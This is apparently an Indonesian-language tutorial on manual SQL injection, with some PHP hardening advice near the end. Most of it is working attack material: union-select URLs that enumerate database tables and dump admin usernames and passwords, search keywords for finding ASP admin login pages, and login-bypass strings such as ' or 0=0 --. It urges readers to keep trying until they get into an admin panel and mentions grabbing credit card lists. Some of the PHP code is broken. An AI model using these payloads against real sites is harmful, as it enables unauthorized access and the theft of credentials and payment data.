Mole adalah tool open source, Mole dapat melewati beberapa sistem IPS / IDS yang menggunakan filter generik, mole dapat meng eksplor hanya dengan menggunak URL yang rentan dan string valid.
MANUAL TUTORIAL SQL INJECTION
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: MySQL versi 5.x , tidak support untuk MySQL versi 4.x
- Carilah target
Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100′ atau
[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak lagi ]
- Mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah: order byContoh:[site]/berita.php?id=-100+order+by+1– atau
[site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah by Langkah (satupersatu)…
Misal:[site]/berita.php?id=-100+order+by+1–
[site]/berita.php?id=-100+order+by+2–
[site]/berita.php?id=-100+order+by+3–
[site]/berita.php?id=-100+order+by+4–Sehingga muncul error atau hilang pesan error…
Misal: [site]/berita.php?id=-100+order+by+9–Berarti yang kita ambil adalah sampai angka 8
Menjadi [site]/berita.php?id=-100+order+by+8–
- untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok seumpama yg keluar angka 5gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–Lihat versi yang digunakan se’umpama versi 4 tinggalkan saja karena dalam versi 4 ini kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..Untuk versi 5 berarti anda beruntung tak perlu menebak table dan column seperti versi 4 karena di versi 5 ini bisa menggunakan perintah From+Information_schema..
- Untuk menampilkan table yang ada pada web tersebut adalah
perintah table_name >>> dimasukan pada angka yangg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhirCode:[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–Se’umpama table yang muncul adalah “admin”
- untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema. tables+where+table_schema=database()–
- Perintah group_concat(column_name) >>> dimasukan pada angka yang keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa– >>> dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0xhexa–Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi :http://www.v3n0m.net/ascii.htmContoh kata yang ingin dikonversi yaitu admin maka akan menjadi 61646D696E[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0x61646D696E–
- Memunculkan apa yang tadi telah dikeluarkan dari table yaitu dengan caraperintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhirContoh :[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–Contoh kata yang keluar adalah id,username,passwordContoh :[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–
- Tahap terakhir mencari halaman admin atau login.
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
1) Sintaks SQL string ‘– setelah nama username
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini
Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” .
“where email = ‘$Email’ and password = ‘$Password’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “\n”;
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
$query = “select id,name,email,password,type,block from user”.
“where email = ‘$Email’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “\n”;
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));
2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :
Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}
4) Masukkan kode berikut :
User name : ` or `a’='a
Password : ` or `a’='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a’='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.













